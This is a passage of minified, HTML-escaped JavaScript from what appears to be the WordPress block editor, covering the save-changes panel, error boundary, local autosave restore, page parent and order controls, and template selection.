ud({record:e,checked:t,onChange:s}){const{name:n,kind:o,title:r,key:i}=e,{entityRecordTitle:a,hasPostMetaChanges:l}=(0,d.useSelect)((e=&gt;{if(&quot;postType&quot;!==o||&quot;wp_template&quot;!==n)return{entityRecordTitle:r,hasPostMetaChanges:$(e(vc)).hasPostMetaChanges(n,i)};const t=e(u.store).getEditedEntityRecord(o,n,i),{default_template_types:s=[]}=e(u.store).getCurrentTheme()??{};return{entityRecordTitle:Y({template:t,templateTypes:s}).title,hasPostMetaChanges:$(e(vc)).hasPostMetaChanges(n,i)}}),[n,o,r,i]);return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Hn.PanelRow,{children:(0,c.jsx)(Hn.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,Ln.decodeEntities)(a)||(0,fs.__)(&quot;Untitled&quot;),checked:t,onChange:s,className:&quot;entities-saved-states__change-control&quot;})}),l&amp;&amp;(0,c.jsx)(&quot;ul&quot;,{className:&quot;entities-saved-states__changes&quot;,children:(0,c.jsx)(&quot;li&quot;,{children:(0,fs.__)(&quot;Post Meta.&quot;)})})]})}const{getGlobalStylesChanges:pd,GlobalStylesContext:md}=$(g.privateApis);function hd({record:e}){const{user:t}=(0,p.useContext)(md),s=(0,d.useSelect)((t=&gt;t(u.store).getEntityRecord(e.kind,e.name,e.key)),[e.kind,e.name,e.key]),n=pd(t,s,{maxResults:10});return n.length?(0,c.jsx)(&quot;ul&quot;,{className:&quot;entities-saved-states__changes&quot;,children:n.map((e=&gt;(0,c.jsx)(&quot;li&quot;,{children:e},e)))}):null}function gd({record:e,count:t}){if(&quot;globalStyles&quot;===e?.name)return null;const s=function(e,t){switch(e){case&quot;site&quot;:return 1===t?(0,fs.__)(&quot;This change will affect your whole site.&quot;):(0,fs.__)(&quot;These changes will affect your whole site.&quot;);case&quot;wp_template&quot;:return(0,fs.__)(&quot;This change will affect other parts of your site that use this template.&quot;);case&quot;page&quot;:case&quot;post&quot;:return(0,fs.__)(&quot;The following has been modified.&quot;)}}(e?.name,t);return s?(0,c.jsx)(Hn.PanelRow,{children:s}):null}function _d({list:e,unselectedEntities:t,setUnselectedEntities:s}){const n=e.length,o=e[0];let r=(0,d.useSelect)((e=&gt;e(u.store).getEntityConfig(o.kind,o.name)),[o.kind,o.name]).label;return&quot;wp_template_part&quot;===o?.name&amp;&amp;(r=1===n?(0,fs.__)(&quot;Template Part&quot;):(0,fs.__)(&quot;Template Parts&quot;)),(0,c.jsxs)(Hn.PanelBody,{title:r,initialOpen:!0,className:&quot;entities-saved-states__panel-body&quot;,children:[(0,c.jsx)(gd,{record:o,count:n}),e.map((e=&gt;(0,c.jsx)(ud,{record:e,checked:!t.some((t=&gt;t.kind===e.kind&amp;&amp;t.name===e.name&amp;&amp;t.key===e.key&amp;&amp;t.property===e.property)),onChange:t=&gt;s(e,t)},e.key||e.property))),&quot;globalStyles&quot;===o?.name&amp;&amp;(0,c.jsx)(hd,{record:o})]})}const fd=()=&gt;{const{editedEntities:e,siteEdits:t,siteEntityConfig:s}=(0,d.useSelect)((e=&gt;{const{__experimentalGetDirtyEntityRecords:t,getEntityRecordEdits:s,getEntityConfig:n}=e(u.store);return{editedEntities:t(),siteEdits:s(&quot;root&quot;,&quot;site&quot;),siteEntityConfig:n(&quot;root&quot;,&quot;site&quot;)}}),[]),n=(0,p.useMemo)((()=&gt;{const n=e.filter((e=&gt;!(&quot;root&quot;===e.kind&amp;&amp;&quot;site&quot;===e.name))),o=s?.meta?.labels??{},r=[];for(const e in t)r.push({kind:&quot;root&quot;,name:&quot;site&quot;,title:o[e]||e,property:e});return[...n,...r]}),[e,t,s]),[o,r]=(0,p.useState)([]);return{dirtyEntityRecords:n,isDirty:n.length-o.length&gt;0,setUnselectedEntities:({kind:e,name:t,key:s,property:n},i)=&gt;{r(i?o.filter((o=&gt;o.kind!==e||o.name!==t||o.key!==s||o.property!==n)):[...o,{kind:e,name:t,key:s,property:n}])},unselectedEntities:o}};function bd(e){return e}function yd({close:e,renderDialog:t,variant:s}){const n=fd();return(0,c.jsx)(xd,{close:e,renderDialog:t,variant:s,...n})}function xd({additionalPrompt:e,close:t,onSave:s=bd,saveEnabled:n,saveLabel:o=(0,fs.__)(&quot;Save&quot;),renderDialog:r,dirtyEntityRecords:i,isDirty:a,setUnselectedEntities:l,unselectedEntities:u,variant:h=&quot;default&quot;}){const g=(0,p.useRef)(),{saveDirtyEntities:_}=$((0,d.useDispatch)(vc)),f=i.reduce(((e,t)=&gt;{const{name:s}=t;return e[s]||(e[s]=[]),e[s].push(t),e}),{}),{site:b,wp_template:y,wp_template_part:x,...v}=f,w=[b,y,x,...Object.values(v)].filter(Array.isArray),S=n??a,k=(0,p.useCallback)((()=&gt;t()),[t]),[C,P]=(0,m.__experimentalUseDialog)({onClose:()=&gt;k()}),j=(0,m.useInstanceId)(xd,&quot;entities-saved-states__panel-label&quot;),E=(0,m.useInstanceId)(xd,&quot;entities-saved-states__panel-description&quot;),T=i.length?(0,fs.__)(&quot;Select the items you want to save.&quot;):void 0,I=&quot;inline&quot;===h,B=(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Hn.FlexItem,{isBlock:!I,as:Hn.Button,variant:I?&quot;tertiary&quot;:&quot;secondary&quot;,size:I?void 0:&quot;compact&quot;,onClick:k,children:(0,fs.__)(&quot;Cancel&quot;)}),(0,c.jsx)(Hn.FlexItem,{isBlock:!I,as:Hn.Button,ref:g,variant:&quot;primary&quot;,size:I?void 0:&quot;compact&quot;,disabled:!S,accessibleWhenDisabled:!0,onClick:()=&gt;_({onSave:s,dirtyEntityRecords:i,entitiesToSkip:u,close:t}),className:&quot;editor-entities-saved-states__save-button&quot;,children:o})]});return(0,c.jsxs)(&quot;div&quot;,{ref:r?C:void 0,...r&amp;&amp;P,className:mr(&quot;entities-saved-states__panel&quot;,{&quot;is-inline&quot;:I}),role:r?&quot;dialog&quot;:void 0,&quot;aria-labelledby&quot;:r?j:void 0,&quot;aria-describedby&quot;:r?E:void 0,children:[!I&amp;&amp;(0,c.jsx)(Hn.Flex,{className:&quot;entities-saved-states__panel-header&quot;,gap:2,children:B}),(0,c.jsxs)(&quot;div&quot;,{className:&quot;entities-saved-states__text-prompt&quot;,children:[(0,c.jsx)(&quot;div&quot;,{className:&quot;entities-saved-states__text-prompt--header-wrapper&quot;,children:(0,c.jsx)(&quot;strong&quot;,{id:r?j:void 0,className:&quot;entities-saved-states__text-prompt--header&quot;,children:(0,fs.__)(&quot;Are you ready to save?&quot;)})}),(0,c.jsxs)(&quot;div&quot;,{id:r?E:void 0,children:[e,(0,c.jsx)(&quot;p&quot;,{className:&quot;entities-saved-states__text-prompt--changes-count&quot;,children:a?(0,p.createInterpolateElement)((0,fs.sprintf)((0,fs._n)(&quot;There is &lt;strong&gt;%d site change&lt;/strong&gt; waiting to be saved.&quot;,&quot;There are &lt;strong&gt;%d site changes&lt;/strong&gt; waiting to be saved.&quot;,i.length),i.length),{strong:(0,c.jsx)(&quot;strong&quot;,{})}):T})]})]}),w.map((e=&gt;(0,c.jsx)(_d,{list:e,unselectedEntities:u,setUnselectedEntities:l},e[0].name))),I&amp;&amp;(0,c.jsx)(Hn.Flex,{direction:&quot;row&quot;,justify:&quot;flex-end&quot;,className:&quot;entities-saved-states__panel-footer&quot;,children:B})]})}function vd(){try{return(0,d.select)(vc).getEditedPostContent()}catch(e){}}function wd({text:e,children:t,variant:s=&quot;secondary&quot;}){const n=(0,m.useCopyToClipboard)(e);return(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:s,ref:n,children:t})}class Sd extends p.Component{constructor(){super(...arguments),this.state={error:null}}componentDidCatch(e){(0,h.doAction)(&quot;editor.ErrorBoundary.errorLogged&quot;,e)}static getDerivedStateFromError(e){return{error:e}}render(){const{error:e}=this.state,{canCopyContent:t=!1}=this.props;return e?(0,c.jsxs)(Hn.__experimentalHStack,{className:&quot;editor-error-boundary&quot;,alignment:&quot;baseline&quot;,spacing:4,justify:&quot;space-between&quot;,expanded:!1,wrap:!0,children:[(0,c.jsx)(Hn.__experimentalText,{as:&quot;p&quot;,children:(0,fs.__)(&quot;The editor has encountered an unexpected error.&quot;)}),(0,c.jsxs)(Hn.__experimentalHStack,{expanded:!1,children:[t&amp;&amp;(0,c.jsx)(wd,{text:vd,children:(0,fs.__)(&quot;Copy contents&quot;)}),(0,c.jsx)(wd,{variant:&quot;primary&quot;,text:e?.stack,children:(0,fs.__)(&quot;Copy error&quot;)})]})]}):this.props.children}}var kd=Sd;const Cd=window.requestIdleCallback?window.requestIdleCallback:window.requestAnimationFrame;let Pd;function jd(){const{postId:e,isEditedPostNew:t,hasRemoteAutosave:s}=(0,d.useSelect)((e=&gt;({postId:e(vc).getCurrentPostId(),isEditedPostNew:e(vc).isEditedPostNew(),hasRemoteAutosave:!!e(vc).getEditorSettings().autosave})),[]),{getEditedPostAttribute:n}=(0,d.useSelect)(vc),{createWarningNotice:o,removeNotice:r}=(0,d.useDispatch)(_s.store),{editPost:i,resetEditorBlocks:a}=(0,d.useDispatch)(vc);(0,p.useEffect)((()=&gt;{let l=function(e,t){return window.sessionStorage.getItem(bs(e,t))}(e,t);if(!l)return;try{l=JSON.parse(l)}catch{return}const{post_title:c,content:d,excerpt:u}=l,p={title:c,content:d,excerpt:u};if(!Object.keys(p).some((e=&gt;p[e]!==n(e))))return void ys(e,t);if(s)return;const m=&quot;wpEditorAutosaveRestore&quot;;o((0,fs.__)(&quot;The backup of this post in your browser is different from the version below.&quot;),{id:m,actions:[{label:(0,fs.__)(&quot;Restore the backup&quot;),onClick(){const{content:e,...t}=p;i(t),a((0,x.parse)(p.content)),r(m)}}]})}),[t,e])}var Ed=(0,m.ifCondition)((()=&gt;{if(void 0!==Pd)return Pd;try{window.sessionStorage.setItem(&quot;__wpEditorTestSessionStorage&quot;,&quot;&quot;),window.sessionStorage.removeItem(&quot;__wpEditorTestSessionStorage&quot;),Pd=!0}catch{Pd=!1}return Pd}))((function(){const{autosave:e}=(0,d.useDispatch)(vc),t=(0,p.useCallback)((()=&gt;{Cd((()=&gt;e({local:!0})))}),[]);jd(),function(){const{postId:e,isEditedPostNew:t,isDirty:s,isAutosaving:n,didError:o}=(0,d.useSelect)((e=&gt;({postId:e(vc).getCurrentPostId(),isEditedPostNew:e(vc).isEditedPostNew(),isDirty:e(vc).isEditedPostDirty(),isAutosaving:e(vc).isAutosavingPost(),didError:e(vc).didPostSaveRequestFail()})),[]),r=(0,p.useRef)(s),i=(0,p.useRef)(n);(0,p.useEffect)((()=&gt;{!o&amp;&amp;(i.current&amp;&amp;!n||r.current&amp;&amp;!s)&amp;&amp;ys(e,t),r.current=s,i.current=n}),[s,n,o]);const a=(0,m.usePrevious)(t),l=(0,m.usePrevious)(e);(0,p.useEffect)((()=&gt;{l===e&amp;&amp;a&amp;&amp;!t&amp;&amp;ys(e,!0)}),[t,e])}();const s=(0,d.useSelect)((e=&gt;e(vc).getEditorSettings().localAutosaveInterval),[]);return(0,c.jsx)(Oc,{interval:s,autosave:t})}));var Td=function({children:e}){const t=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t}=e(vc),{getPostType:s}=e(u.store),n=s(t(&quot;type&quot;));return!!n?.supports?.[&quot;page-attributes&quot;]}),[]);return t?e:null};var Id=function({children:e,supportKeys:t}){const s=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t}=e(vc),{getPostType:s}=e(u.store);return s(t(&quot;type&quot;))}),[]);let n=!!s;return s&amp;&amp;(n=(Array.isArray(t)?t:[t]).some((e=&gt;function(e={},t){if(void 0!==e[t])return!!e[t];const[s,n]=t.split(&quot;.&quot;),[o]=Array.isArray(e[s])?e[s]:[];return Array.isArray(o)?o.includes(n):!!o?.[n]}(s.supports,e)))),n?e:null};function Bd(){const e=(0,d.useSelect)((e=&gt;e(vc).getEditedPostAttribute(&quot;menu_order&quot;)??0),[]),{editPost:t}=(0,d.useDispatch)(vc),[s,n]=(0,p.useState)(null),o=s??e;return(0,c.jsx)(Hn.Flex,{children:(0,c.jsx)(Hn.FlexBlock,{children:(0,c.jsx)(Hn.__experimentalNumberControl,{__next40pxDefaultSize:!0,label:(0,fs.__)(&quot;Order&quot;),help:(0,fs.__)(&quot;Set the page order.&quot;),value:o,onChange:e=&gt;{n(e);const s=Number(e);Number.isInteger(s)&amp;&amp;&quot;&quot;!==e.trim?.()&amp;&amp;t({menu_order:s})},hideLabelFromVision:!0,onBlur:()=&gt;{n(null)}})})})}function Nd(){return(0,c.jsx)(Id,{supportKeys:&quot;page-attributes&quot;,children:(0,c.jsx)(Bd,{})})}var Rd=(0,p.forwardRef)((({className:e,label:t,children:s},n)=&gt;(0,c.jsxs)(Hn.__experimentalHStack,{className:mr(&quot;editor-post-panel__row&quot;,e),ref:n,children:[t&amp;&amp;(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-post-panel__row-label&quot;,children:t}),(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-post-panel__row-control&quot;,children:s})]})));function Dd(e){const t=e.map((e=&gt;({children:[],parent:void 0,...e})));if(t.some((({parent:e})=&gt;void 0===e)))return t;const s=t.reduce(((e,t)=&gt;{const{parent:s}=t;return e[s]||(e[s]=[]),e[s].push(t),e}),{}),n=e=&gt;e.map((e=&gt;{const t=s[e.id];return{...e,children:t&amp;&amp;t.length?n(t):[]}}));return n(s[0]||[])}const Ad=e=&gt;(0,Ln.decodeEntities)(e),Md=e=&gt;({...e,name:Ad(e.name)}),Ld=e=&gt;(e??[]).map(Md);function Od(e){return e?.title?.rendered?(0,Ln.decodeEntities)(e.title.rendered):`#${e.id} (${(0,fs.__)(&quot;no title&quot;)})`}const Fd=(e,t)=&gt;{const s=Mr()(e||&quot;&quot;).toLowerCase(),n=Mr()(t||&quot;&quot;).toLowerCase();return s===n?0:s.startsWith(n)?s.length:1/0};function Vd(){const{editPost:e}=(0,d.useDispatch)(vc),[t,s]=(0,p.useState)(!1),{isHierarchical:n,parentPostId:o,parentPostTitle:r,pageItems:i,isLoading:a}=(0,d.useSelect)((e=&gt;{const{getPostType:s,getEntityRecords:n,getEntityRecord:o,isResolving:r}=e(u.store),{getCurrentPostId:i,getEditedPostAttribute:a}=e(vc),l=a(&quot;type&quot;),c=a(&quot;parent&quot;),d=s(l),p=i(),m=d?.hierarchical??!1,h={per_page:100,exclude:p,parent_exclude:p,orderby:&quot;menu_order&quot;,order:&quot;asc&quot;,_fields:&quot;id,title,parent&quot;};t&amp;&amp;(h.search=t);const g=c?o(&quot;postType&quot;,l,c):null;return{isHierarchical:m,parentPostId:c,parentPostTitle:g?Od(g):&quot;&quot;,pageItems:m?n(&quot;postType&quot;,l,h):null,isLoading:!!m&amp;&amp;r(&quot;getEntityRecords&quot;,[&quot;postType&quot;,l,h])}}),[t]),l=(0,p.useMemo)((()=&gt;{const e=(s,n=0)=&gt;{const o=s.map((t=&gt;[{value:t.id,label:&quot;— &quot;.repeat(n)+(0,Ln.decodeEntities)(t.name),rawName:t.name},...e(t.children||[],n+1)])).sort((([e],[s])=&gt;Fd(e.rawName,t)&gt;=Fd(s.rawName,t)?1:-1));return o.flat()};if(!i)return[];let s=i.map((e=&gt;({id:e.id,parent:e.parent,name:Od(e)})));t||(s=Dd(s));const n=e(s),a=n.find((e=&gt;e.value===o));return r&amp;&amp;!a&amp;&amp;n.unshift({value:o,label:r}),n}),[i,t,r,o]);if(!n)return null;return(0,c.jsx)(Hn.ComboboxControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,className:&quot;editor-page-attributes__parent&quot;,label:(0,fs.__)(&quot;Parent&quot;),help:(0,fs.__)(&quot;Choose a parent page.&quot;),value:o,options:l,onFilterValueChange:(0,m.debounce)((e=&gt;{s(e)}),300),onChange:t=&gt;{e({parent:t})},hideLabelFromVision:!0,isLoading:a})}function Ud({isOpen:e,onClick:t}){const s=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t}=e(vc),s=t(&quot;parent&quot;);if(!s)return null;const{getEntityRecord:n}=e(u.store);return n(&quot;postType&quot;,t(&quot;type&quot;),s)}),[]),n=(0,p.useMemo)((()=&gt;s?Od(s):(0,fs.__)(&quot;None&quot;)),[s]);return(0,c.jsx)(Hn.Button,{size:&quot;compact&quot;,className:&quot;editor-post-parent__panel-toggle&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,fs.sprintf)((0,fs.__)(&quot;Change parent: %s&quot;),n),onClick:t,children:n})}function Hd(){const e=(0,d.useSelect)((e=&gt;e(u.store).getEntityRecord(&quot;root&quot;,&quot;__unstableBase&quot;)?.home),[]),[t,s]=(0,p.useState)(null),n=(0,p.useMemo)((()=&gt;({anchor:t,placement:&quot;left-start&quot;,offset:36,shift:!0})),[t]);return(0,c.jsx)(Rd,{label:(0,fs.__)(&quot;Parent&quot;),ref:s,children:(0,c.jsx)(Hn.Dropdown,{popoverProps:n,className:&quot;editor-post-parent__panel-dropdown&quot;,contentClassName:&quot;editor-post-parent__panel-dialog&quot;,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=&gt;(0,c.jsx)(Ud,{isOpen:e,onClick:t}),renderContent:({onClose:t})=&gt;(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-post-parent&quot;,children:[(0,c.jsx)(g.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Parent&quot;),onClose:t}),(0,c.jsxs)(&quot;div&quot;,{children:[(0,p.createInterpolateElement)((0,fs.sprintf)((0,fs.__)(&#039;Child pages inherit characteristics from their parent, such as URL structure. For instance, if &quot;Pricing&quot; is a child of &quot;Services&quot;, its URL would be %s&lt;wbr /&gt;/services&lt;wbr /&gt;/pricing.&#039;),(0,w.filterURLForDisplay)(e).replace(/([/.])/g,&quot;&lt;wbr /&gt;$1&quot;)),{wbr:(0,c.jsx)(&quot;wbr&quot;,{})}),(0,c.jsx)(&quot;p&quot;,{children:(0,p.createInterpolateElement)((0,fs.__)(&quot;They also show up as sub-items in the default navigation menu. &lt;a&gt;Learn more.&lt;/a&gt;&quot;),{a:(0,c.jsx)(Hn.ExternalLink,{href:(0,fs.__)(&quot;https://wordpress.org/documentation/article/page-post-settings-sidebar/#page-attributes&quot;)})})})]}),(0,c.jsx)(Vd,{})]})})})}var zd=Vd;const Gd=&quot;page-attributes&quot;;function $d(){const{isEnabled:e,postType:t}=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t,isEditorPanelEnabled:s}=e(vc),{getPostType:n}=e(u.store);return{isEnabled:s(Gd),postType:n(t(&quot;type&quot;))}}),[]);return e&amp;&amp;t?(0,c.jsx)(Hd,{}):null}function Wd(){return(0,c.jsx)(Td,{children:(0,c.jsx)($d,{})})}var Zd=(0,c.jsx)(L.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,c.jsx)(L.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M18.5 5.5V8H20V5.5H22.5V4H20V1.5H18.5V4H16V5.5H18.5ZM13.9624 4H6C4.89543 4 4 4.89543 4 6V18C4 19.1046 4.89543 20 6 20H18C19.1046 20 20 19.1046 20 18V10.0391H18.5V18C18.5 18.2761 18.2761 18.5 18 18.5H10L10 10.4917L16.4589 10.5139L16.4641 9.01389L5.5 8.97618V6C5.5 5.72386 5.72386 5.5 6 5.5H13.9624V4ZM5.5 10.4762V18C5.5 18.2761 5.72386 18.5 6 18.5H8.5L8.5 10.4865L5.5 10.4762Z&quot;})});const Yd=(0,fs.__)(&quot;Custom Template&quot;);function qd({onClose:e}){const{defaultBlockTemplate:t,onNavigateToEntityRecord:s}=(0,d.useSelect)((e=&gt;{const{getEditorSettings:t,getCurrentTemplateId:s}=e(vc);return{defaultBlockTemplate:t().defaultBlockTemplate,onNavigateToEntityRecord:t().onNavigateToEntityRecord,getTemplateId:s}})),{createTemplate:n}=$((0,d.useDispatch)(vc)),[o,r]=(0,p.useState)(&quot;&quot;),[i,a]=(0,p.useState)(!1),l=()=&gt;{r(&quot;&quot;),e()};return(0,c.jsx)(Hn.Modal,{title:(0,fs.__)(&quot;Create custom template&quot;),onRequestClose:l,focusOnMount:&quot;firstContentElement&quot;,size:&quot;small&quot;,overlayClassName:&quot;editor-post-template__create-template-modal&quot;,children:(0,c.jsx)(&quot;form&quot;,{className:&quot;editor-post-template__create-form&quot;,onSubmit:async e=&gt;{if(e.preventDefault(),i)return;a(!0);const r=t??(0,x.serialize)([(0,x.createBlock)(&quot;core/group&quot;,{tagName:&quot;header&quot;,layout:{inherit:!0}},[(0,x.createBlock)(&quot;core/site-title&quot;),(0,x.createBlock)(&quot;core/site-tagline&quot;)]),(0,x.createBlock)(&quot;core/separator&quot;),(0,x.createBlock)(&quot;core/group&quot;,{tagName:&quot;main&quot;},[(0,x.createBlock)(&quot;core/group&quot;,{layout:{inherit:!0}},[(0,x.createBlock)(&quot;core/post-title&quot;)]),(0,x.createBlock)(&quot;core/post-content&quot;,{layout:{inherit:!0}})])]),c=await n({slug:Kn(o||Yd)||&quot;wp-custom-template&quot;,content:r,title:o||Yd});a(!1),s({postId:c.id,postType:&quot;wp_template&quot;}),l()},children:(0,c.jsxs)(Hn.__experimentalVStack,{spacing:&quot;3&quot;,children:[(0,c.jsx)(Hn.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,fs.__)(&quot;Name&quot;),value:o,onChange:r,placeholder:Yd,disabled:i,help:(0,fs.__)(&#039;Describe the template, e.g. &quot;Post with sidebar&quot;. A custom template can be manually applied to any post or page.&#039;)}),(0,c.jsxs)(Hn.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:l,children:(0,fs.__)(&quot;Cancel&quot;)}),(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,isBusy:i,&quot;aria-disabled&quot;:i,children:(0,fs.__)(&quot;Create&quot;)})]})]})})})}function Kd(){return(0,d.useSelect)((e=&gt;{const{getCurrentPostId:t,getCurrentPostType:s}=e(vc);return{postId:t(),postType:s()}}),[])}function Qd(){const{postType:e,postId:t}=Kd();return(0,d.useSelect)((s=&gt;{const{canUser:n,getEntityRecord:o,getEntityRecords:r}=s(u.store),i=n(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?o(&quot;root&quot;,&quot;site&quot;):void 0,a=+t===i?.page_for_posts,l=&quot;page&quot;===e&amp;&amp;+t===i?.page_on_front,c=l?r(&quot;postType&quot;,&quot;wp_template&quot;,{per_page:-1}):[],d=l&amp;&amp;!!c?.some((({slug:e})=&gt;&quot;front-page&quot;===e));return!a&amp;&amp;!d}),[t,e])}function Xd(e){return(0,d.useSelect)((t=&gt;t(u.store).getEntityRecords(&quot;postType&quot;,&quot;wp_template&quot;,{per_page:-1,post_type:e})),[e])}function Jd(e){const t=eu(),s=Qd(),n=Xd(e);return(0,p.useMemo)((()=&gt;s&amp;&amp;n?.filter((e=&gt;e.is_custom&amp;&amp;e.slug!==t&amp;&amp;!!e.content.raw))),[n,t,s])}function eu(){const{postType:e,postId:t}=Kd(),s=Xd(e),n=(0,d.useSelect)((s=&gt;{const n=s(u.store).getEditedEntityRecord(&quot;postType&quot;,e,t);return n?.template}),[e,t]);if(n)return s?.find((e=&gt;e.slug===n))?.slug}function tu({isOpen:e,onClick:t}){const s=(0,d.useSelect)((e=&gt;{const t=e(vc).getEditedPostAttribute(&quot;template&quot;),{supportsTemplateMode:s,availableTemplates:n}=e(vc).getEditorSettings();if(!s&amp;&amp;n[t])return n[t];const o=e(u.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;})&amp;&amp;e(vc).getCurrentTemplateId();return o?.title||o?.slug||n?.[t]}),[]);return(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,fs.__)(&quot;Template options&quot;),onClick:t,children:s??(0,fs.__)(&quot;Default template&quot;)})}function su({onClose:e}){const t=Qd(),{availableTemplates:s,fetchedTemplates:n,selectedTemplateSlug:o,canCreate:r,canEdit:i,currentTemplateId:a,onNavigateToEntityRecord:l,getEditorSettings:m}=(0,d.useSelect)((e=&gt;{const{canUser:s,getEntityRecords:n}=e(u.store),o=e(vc).getEditorSettings(),r=s(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;}),i=e(vc).getCurrentTemplateId();return{availableTemplates:o.availableTemplates,fetchedTemplates:r?n(&quot;postType&quot;,&quot;wp_template&quot;,{post_type:e(vc).getCurrentPostType(),per_page:-1}):void 0,selectedTemplateSlug:e(vc).getEditedPostAttribute(&quot;template&quot;),canCreate:t&amp;&amp;r&amp;&amp;o.supportsTemplateMode,canEdit:t&amp;&amp;r&amp;&amp;o.supportsTemplateMode&amp;&amp;!!i,currentTemplateId:i,onNavigateToEntityRecord:o.onNavigateToEntityRecord,getEditorSettings:e(vc).getEditorSettings}}),[t]),h=(0,p.useMemo)((()=&gt;Object.entries({...s,...Object.fromEntries((n??[]).map((({slug:e,title:t})=&gt;[e,t.rendered])))}).map((([e,t])=&gt;({value:e,label:t})))),[s,n]),_=h.find((e=&gt;e.value===o))??h.find((e=&gt;!e.value)),{editPost:f}=(0,d.useDispatch)(vc),{createSuccessNotice:b}=(0,d.useDispatch)(_s.store),[y,x]=(0,p.useState)(!1);return(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-post-template__classic-theme-dropdown&quot;,children:[(0,c.jsx)(g.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Template&quot;),help:(0,fs.__)(&quot;Templates define the way content is displayed when viewing your site.&quot;),actions:r?[{icon:Zd,label:(0,fs.__)(&quot;Add template&quot;),onClick:()=&gt;x(!0)}]:[],onClose:e}),t?(0,c.jsx)(Hn.SelectControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,hideLabelFromVision:!0,label:(0,fs.__)(&quot;Template&quot;),value:_?.value??&quot;&quot;,options:h,onChange:e=&gt;f({template:e||&quot;&quot;})}):(0,c.jsx)(Hn.Notice,{status:&quot;warning&quot;,isDismissible:!1,children:(0,fs.__)(&quot;The posts page template cannot be changed.&quot;)}),i&amp;&amp;l&amp;&amp;(0,c.jsx)(&quot;p&quot;,{children:(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;link&quot;,onClick:()=&gt;{l({postId:a,postType:&quot;wp_template&quot;}),e(),b((0,fs.__)(&quot;Editing template. Changes made here affect all posts and pages that use the template.&quot;),{type:&quot;snackbar&quot;,actions:[{label:(0,fs.__)(&quot;Go back&quot;),onClick:()=&gt;m().onNavigateToPreviousEntityRecord()}]})},children:(0,fs.__)(&quot;Edit template&quot;)})}),y&amp;&amp;(0,c.jsx)(qd,{onClose:()=&gt;x(!1)})]})}var nu=function(){const[e,t]=(0,p.useState)(null),s=(0,p.useMemo)((()=&gt;({anchor:e,className:&quot;editor-post-template__dropdown&quot;,placement:&quot;left-start&quot;,offset:36,shift:!0})),[e]);return(0,c.jsx)(Rd,{label:(0,fs.__)(&quot;Template&quot;),ref:t,children:(0,c.jsx)(Hn.Dropdown,{popoverProps:s,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=&gt;(0,c.jsx)(tu,{isOpen:e,onClick:t}),renderContent:({onClose:e})=&gt;(0,c.jsx)(su,{onClose:e})})})};const ou=window.wp.warning;var ru=s.n(ou);const{PreferenceBaseOption:iu}=$(C.privateApis);function au(e){const{toggleEditorPanelEnabled:t}=(0,d.useDispatch)(vc),{isChecked:s,isRemoved:n}=(0,d.useSelect)((t=&gt;{const{isEditorPanelEnabled:s,isEditorPanelRemoved:n}=t(vc);return{isChecked:s(e.panelName),isRemoved:n(e.panelName)}}),[e.panelName]);return n?null:(0,c.jsx)(iu,{isChecked:s,onChange:()=&gt;t(e.panelName),...e})}const{Fill:lu,Slot:cu}=(0,Hn.createSlotFill)(&quot;EnablePluginDocumentSettingPanelOption&quot;),du=({label:e,panelName:t})=&gt;(0,c.jsx)(lu,{children:(0,c.jsx)(au,{label:e,panelName:t})});du.Slot=cu;var uu=du;const{Fill:pu,Slot:mu}=(0,Hn.createSlotFill)(&quot;PluginDocumentSettingPanel&quot;),hu=({name:e,className:t,title:s,icon:n,children:o})=&gt;{const{name:r}=(0,aa.usePluginContext)(),i=`${r}/${e}`,{opened:a,isEnabled:l}=(0,d.useSelect)((e=&gt;{const{isEditorPanelOpened:t,isEditorPanelEnabled:s}=e(vc);return{opened:t(i),isEnabled:s(i)}}),[i]),{toggleEditorPanelOpened:u}=(0,d.useDispatch)(vc);return void 0===e&amp;&amp;ru()(&quot;PluginDocumentSettingPanel requires a name property.&quot;),(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(uu,{label:s,panelName:i}),(0,c.jsx)(pu,{children:l&amp;&amp;(0,c.jsx)(Hn.PanelBody,{className:t,title:s,icon:n,opened:a,onToggle:()=&gt;u(i),children:o})})]})};hu.Slot=mu;var gu=hu;var _u=({allowedBlocks:e,icon:t,label:s,onClick:n,small:o,role:r})=&gt;(0,c.jsx)(g.BlockSettingsMenuControls,{children:({selectedBlocks:i,onClose:a})=&gt;((e,t)=&gt;{return!Array.isArray(t)||(s=t,0===e.filter((e=&gt;!s.includes(e))).length);var s})(i,e)?(0,c.jsx)(Hn.MenuItem,{onClick:(0,m.compose)(n,a),icon:t,label:o?s:void 